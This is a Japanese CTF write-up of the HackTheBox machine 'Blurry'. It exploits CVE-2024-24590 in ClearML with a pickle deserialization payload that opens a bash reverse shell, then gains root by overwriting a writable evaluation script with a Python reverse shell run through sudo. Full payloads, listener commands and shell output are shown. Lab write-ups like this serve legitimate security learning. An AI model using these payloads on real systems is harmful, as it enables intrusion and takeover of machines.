今回は、HackTheBoxのMediumマシン「Blurry」のWriteUpです!
Mediumにしては、グラフが少しEasyよりな気もしますね。
さくっと攻略めざしていきましょう!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Blurry
列挙
それでは攻略を開始します。
まずはポートスキャンから実行しましょう。
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http nginx 1.18.0
22番と80番が開いています。
とりあえずブラウザでアクセスしてみましょう。
ClearML
のログイン画面が表示されました。
認証情報は何もないので、とりあえず適当に入力して「START」を押下します。
ユーザ登録に成功し、ダッシュボードが表示されました。
CVE-2024-24590
ダッシュボードへアクセスできましたが、特に気になる情報はありませんでした。
なので、ClearML
に脆弱性が公開されているかGoogleで調べると以下の記事を発見しました。
いくつかの脆弱性が公開されていますが、その中でも「CVE-2024-24590」はリモートコード実行につながるようです。実際に動画も公開されているので、参考にしていきますが、もう少し攻撃を理解するためにAPIでアーティファクトをアップロードするフローについて調べてみました。
記事によると、アーティファクトをアップロードする際はupload_artifact
という関数を使用するようです。引数は以下のような種類がありました。
upload_artifact(name、artifact_object、metadata=None、delete_after_upload=False、auto_pickle=True、preview=None、wait_on_upload=False、extension_name=None、serialization_function=None、retries=0)
名前やオブジェクトを指定する必要がありそうです。
アップロードのフローについては理解できたので、次にタスクの設定を方法を調べました。
タスクの設定にはtask.init
という関数を使用するようです。
例として以下のようなコードが公開されています。
task = Task.init('myProject', 'myOtherTask')
d = {'a': '1'}
task.upload_artifact('myArtifact', d)
まさに私が望んだコードです!タスクを設定し、そのタスクに対してアーティファクトをアップロードしています。
タスクは既に存在しているBlack Swan
が使用でき、オブジェクトは実行したいコマンドを指定すればよさそうです。
必要な情報がそろったので、攻撃コードを作成しましょう。
今回使用したコードは以下です。
import pickle
import os
from clearml import Task
class RunCommand:
def __reduce__(self):
cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/2121 0>&1"'
return (os.system, (cmd,))
command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='exec', tags=["review"], output_uri=True)
task.upload_artifact(name='shell', artifact_object=command, retries=2, wait_on_upload=True)
作成できたら、実行していきますが、ClearML
のAPIを使用するための設定を行う必要があります。ダッシュボードからユーザのアイコンをクリックし、「Setting」を押下します。
最初はプロフィールが表示されています。「Workspace」へ移動しましょう。
認証情報を追加できるので「+ Create new credentials」を押下しましょう。
認証情報が出力されました。これをコピーしておきます。
コピーできたら、clearml-init
を実行し、認証情報を入力してください。
+[~/blurry/cve-2024-24590/clearml]
(σ▰>∇<)σ<10.10.14.8>$ clearml-init
ClearML SDK setup process
Paste copied configuration here:
<credential>
ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb
Verifying credentials ...
Credentials verified!
New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.
これで準備万端です!
jippity としてのシェル
では、シェルを取得していきましょう。
待ち受けは忘れないようにしてください。
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
待ち受けが作成できたら、攻撃コードを実行します。
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ python3 exploit.py
ClearML Task: created new task id=c1ac027efaa94b419e9a73adea9ee91e
- clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/c1ac027efaa94b419e9a73adea9ee91e/output/log
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring
特にエラーのようなものは出ていないように見えます。シェルが取得できているか確認すると...
+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 37560
jippity@blurry:~$ whoami
jippity
シェルを取得できていました!侵入成功です!
jippity@blurry:~$ ls -l
total 20
drwxr-xr-x 2 jippity jippity 4096 Feb 17 12:46 automation
-rw-r--r-- 1 jippity jippity 11007 Feb 17 11:07 clearml.conf
-rw-r----- 1 root jippity 33 Jun 15 02:48 user.txt
ユーザフラグも取得できました!
権限昇格
それではここから権限昇格を目指していきましょう。
まずはsudo -l
を実行します。
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
evaluate_model /models/*.pth
が実行できるようです。evaluate_model
について少し調べてみます。
名前のままではありますが、モデルを評価するもののようです。引数として/models
ディレクトリにあるPTHファイルを指定しているので、/models
ディレクトリも確認してみます。
jippity@blurry:/models$ ls -l
total 1060
-rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2547 May 30 04:38 evaluate_model.py
demo_model.pth
というPTHファイルに加え、evaluate_model.py
というスクリプトがあります。内容を確認してみましょう。
jippity@blurry:/models$ cat evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys
<...>
def load_model(model_path):
model = CustomCNN()
state_dict = torch.load(model_path)
model.load_state_dict(state_dict)
model.eval()
return model
<...>
def evaluate_model(model, dataloader):
correct = 0
total = 0
with torch.no_grad():
for images, labels in dataloader:
outputs = model(images)
_, predicted = torch.max(outputs.data, 1)
total += labels.size(0)
correct += (predicted == labels).sum().item()
accuracy = 100 * correct / total
print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')
def main(model_path):
model = load_model(model_path)
print("[+] Loaded Model.")
dataloader = prepare_dataloader()
print("[+] Dataloader ready. Evaluating model...")
evaluate_model(model, dataloader)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python script.py <path_to_model.pth>")
else:
model_path = sys.argv[1] # Path to the .pth file
main(model_path)
ファイルの内容からしても、/usr/bin/evaluate_model
のPythonスクリプトバージョンであるような気がします。試しに、何も変えていませんがsudo
を使用し/usr/bin/evaluate_model
を実行してみましょう。
jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 68.75%
出力されるメッセージは完全にPythonファイルと同じですね。
File Overwrite
今までの調査で考えられる一つの可能性として/usr/bin/evaluate_model
は/models/evaluate_model.py
を実行しているということです。
仮にこの仮説が正しい場合、/models/evaluate_model.py
を上書きすることができれば、任意のコードを実行できます。上書き可能であるか権限を見てみましょう。
jippity@blurry:~$ ls -l /
total 64
drwxrwxr-x 2 root jippity 4096 Jun 15 06:49 models
jippity
に書き込み権限があります!権限的にはクリアしているので上書きしてみましょう。上書きするコードですが、今回は以下のコードを使用します。
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",2122))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
まず、ターゲット側に置き換えるコードをダウンロードさせます。
jippity@blurry:~$ wget 10.10.14.8:8000/evaluate_model.py
ダウンロードさせたら、cp
を使用して置き換えましょう。
jippity@blurry:~$ cp evaluate_model.py /models/evaluate_model.py
これで準備完了です!
root としてのシェル
それでは、権限を昇格させましょう。
まずは待ち受けを作成しておきます。
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
待ち受けが作成できたらsudo
を使用し/usr/bin/evaluate_model
を実行します。
jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
実行自体は成功していそうです。待ち受けを確認しましょう。
+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 33116
# whoami
root
権限昇格に成功しました!
# ls -l /root
total 8
drwxr-xr-x 3 root root 4096 Feb 14 09:37 datasets
-rw-r----- 1 root root 33 Jun 15 02:48 root.txt
ルートフラグも取得できたので、完全攻略達成です!